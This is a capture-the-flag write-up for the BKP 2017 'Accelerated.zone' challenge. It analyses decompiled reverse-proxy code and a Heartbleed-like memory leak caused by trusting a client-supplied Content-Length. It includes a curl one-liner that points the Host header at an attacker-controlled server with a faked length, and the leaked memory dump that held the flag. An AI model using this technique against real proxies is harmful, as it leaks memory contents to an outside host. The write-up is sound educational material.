February 26, 2017

BKP 2017 - Accelerated.zone

Bleeding again.

Problem

We were given a reverse proxy at http://accelerated.zone:8000 and the binary behind it. It responds with Get better cookies bro if we send a plain GET request to it. Looks like it expects some secret cookies. Trying to access random pages reveals the actual web server was running at port 7733. Nothing interesting at this point. Let’s look at the binary file instead.

Open the binary using IDA we can see it uses libmicrohttpd to serve incoming HTTP requests and libcurl to communicate with actual web server. The two functions that we are interested are handle_request and make_request.

In handle_request, it reads some properties from incoming HTTP request, and passed them to make_request.

......
  LODWORD(v9) = MHD_get_connection_info(a3, 2LL);
  ...
  ...
  LODWORD(v10) = MHD_lookup_connection_value(a3, 1LL, "Host");
  host = v10;
  ...
  if ( strcmp(method, "GET") || (result = strcmp(method, "POST")) != 0 )
  {
    ...
      if ( !strcmp(method, "POST") )
      {
        LODWORD(v13) = MHD_lookup_connection_value(a3, 1LL, "Content-Length");
        length = atol(v13);
      }
      else
      {
        v6 = 0LL;
        length = 0;
      }
      LODWORD(v15) = MHD_lookup_connection_value(a3, 1LL, "Cookie");
      cookies = v15;
      ...
      MHD_suspend_connection(a3);
      ...
      v18 = make_request(host, method, a3a, v6, length, cookies, &a7);
      MHD_resume_connection(v7, v17);
      v19 = MHD_queue_response(v7, (unsigned int)a7, v18);
      MHD_destroy_response(v18);
      ...
......

In make_request, it constructs curl request using data from incoming request.

......
  v11 = open_memstream(&bufloc, &sizeloc);
  LODWORD(v12) = curl_easy_init(&bufloc, &sizeloc);
  ...
  curl_easy_setopt(v12, 10002LL, ((unsigned __int64)&v23 + 7) & 0xFFFFFFFFFFFFFFF0LL);// set host
  curl_easy_setopt(v13, 181LL, 1LL);            // protocol=1 (http only)
  curl_easy_setopt(v13, 10001LL, v11);          // output (FILE* or void*)
  curl_easy_setopt(v13, 13LL, 5LL);             // timeout = 5s
  curl_easy_setopt(v13, 3LL, 7733LL);           // port = 7733
  if ( v7 )
  {
    curl_easy_setopt(v13, 10015LL, v7);         // post static input fields
    curl_easy_setopt(v13, 60LL, v22);           // size of post data
  }
  if ( v8 )
    curl_easy_setopt(v13, 10022LL, v8);         // set cookie
  v14 = curl_easy_perform(v13);
  fclose(v11);
  ...
  curl_easy_getinfo((__int64)v13, 0x200002LL, (__int64)&v23);// get response code
  LODWORD(v19) = MHD_create_response_from_buffer(sizeloc, (__int64)bufloc, 1LL);
......

The first attempt we tried was to ask the proxy to access a page that will redirect to a file:// URI, so that we might be able to access files in the proxy server. However, it didn’t work. It turns out for the redirection to work, we need CURLOPT_FOLLOWLOCATION and correct CURLOPT_REDIR_PROTOCOLS. file:// protocol was by default disabled for security reasons.

The other thing that caught my eyes was that the proxy reads Content-Length header and used that value as the data size in the curl request. That means I can fake a large Content-Length to the proxy, it will send me a bunch of data in the post request, which potentially contains senstive information. This is similar to SSL Heartbleed, and recent Cloudbleed1.

curl -H 'Host: server-that-i-control' -H 'Content-Length: 123456' \
  --data 'a=a' http://accelerated.zone:8000

That was it. I got the flag after sending several requests and eyeballed request dump for flag string.

$ strings postdata.bin 
a=a
/q?erjg
HTTP/1.1 200 OK
Date: Sat, 25 Feb 2017 23:42:56 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/7.0.16
Content-Length: 63
Content-Type: text/html; charset=UTF-8
FLAG{ISwearIWroteThisChallengeWeeksAgo}Get better cookies bro.  # Here you are!
HTTP
HTTP
a-certif5
/etc/ssl/certs/ca-certificates.crt
/etc/ssl/certs
ed.zone:%
http://54.200.59.30/
rcmd
HTTP
HTTP
/etc/ssl/certs/ca-certificates.crt
/etc/ssl/certs
obHN&nU?
>a2U0*
HTTP/1.1 100 Continue

  1. As you can see from the flag, the author wrote this challenge before Cloudbleed :). [return]

© jiulongw 2016